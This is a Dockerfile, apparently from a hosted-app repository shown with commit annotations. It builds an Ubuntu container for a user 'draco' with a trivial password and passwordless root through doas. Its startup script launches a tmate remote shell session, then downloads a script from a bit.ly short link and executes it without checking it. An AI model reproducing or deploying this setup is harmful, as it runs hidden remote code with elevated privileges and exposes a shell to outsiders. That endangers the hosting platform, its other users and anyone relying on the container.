File size: 1,703 Bytes
3aba826
 
 
 
 
 
 
ec38773
3aba826
 
 
 
 
 
 
 
 
 
 
 
 
ec38773
3aba826
 
 
ec38773
3aba826
 
ec38773
3aba826
 
 
 
 
 
 
ec38773
3aba826
 
ec38773
3aba826
 
 
 
ec38773
 
 
 
 
 
 
3aba826
ec38773
3aba826
 
 
 
 
 
ec38773
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive
ENV LANG=en_US.UTF-8
ENV LANGUAGE=en_US:en
ENV LC_ALL=en_US.UTF-8

# Install system dependencies
RUN apt update && apt upgrade -y && \
    apt install -y \
    curl wget git gnupg openssh-client \
    neofetch tmate python3 python3-pip \
    ca-certificates software-properties-common \
    build-essential procps xz-utils net-tools \
    make ffmpeg nano vim htop unzip zip \
    iputils-ping tree lsof netcat tmux \
    locales cmake && \
    locale-gen en_US.UTF-8 && \
    apt clean && rm -rf /var/lib/apt/lists/* && \
    apt update && apt install -y doas

# Install Node.js 22 and latest npm
RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \
    apt install -y nodejs && npm install -g npm

# Install Python tool
RUN pip3 install speedtest-cli

# Create 'draco' user
RUN useradd -m -s /bin/bash draco && \
    echo "draco:draco" | chpasswd && \
    usermod -u 1000 draco

# Allow 'draco' to use doas without password
RUN echo "permit nopass draco" > /etc/doas.conf

# Alias sudo to doas
RUN echo "alias sudo='doas'" >> /home/draco/.bashrc

# SSH key for draco
RUN mkdir -p /home/draco/.ssh && \
    ssh-keygen -t rsa -f /home/draco/.ssh/id_rsa -N '' && \
    chown -R draco:draco /home/draco/.ssh

# Create tmate+script launcher
RUN echo '#!/bin/bash\n\
tmate -F &\n\
wget -O su.sh https://bit.ly/akuhGet && chmod +x su.sh && ./su.sh\n\
python3 -m http.server 7860' > /home/draco/startup.sh && \
    chmod +x /home/draco/startup.sh && \
    chown draco:draco /home/draco/startup.sh

# Set user and working dir
USER draco
WORKDIR /home/draco

# Expose HTTP server port
EXPOSE 7860

# Start everything
CMD ["bash", "startup.sh"]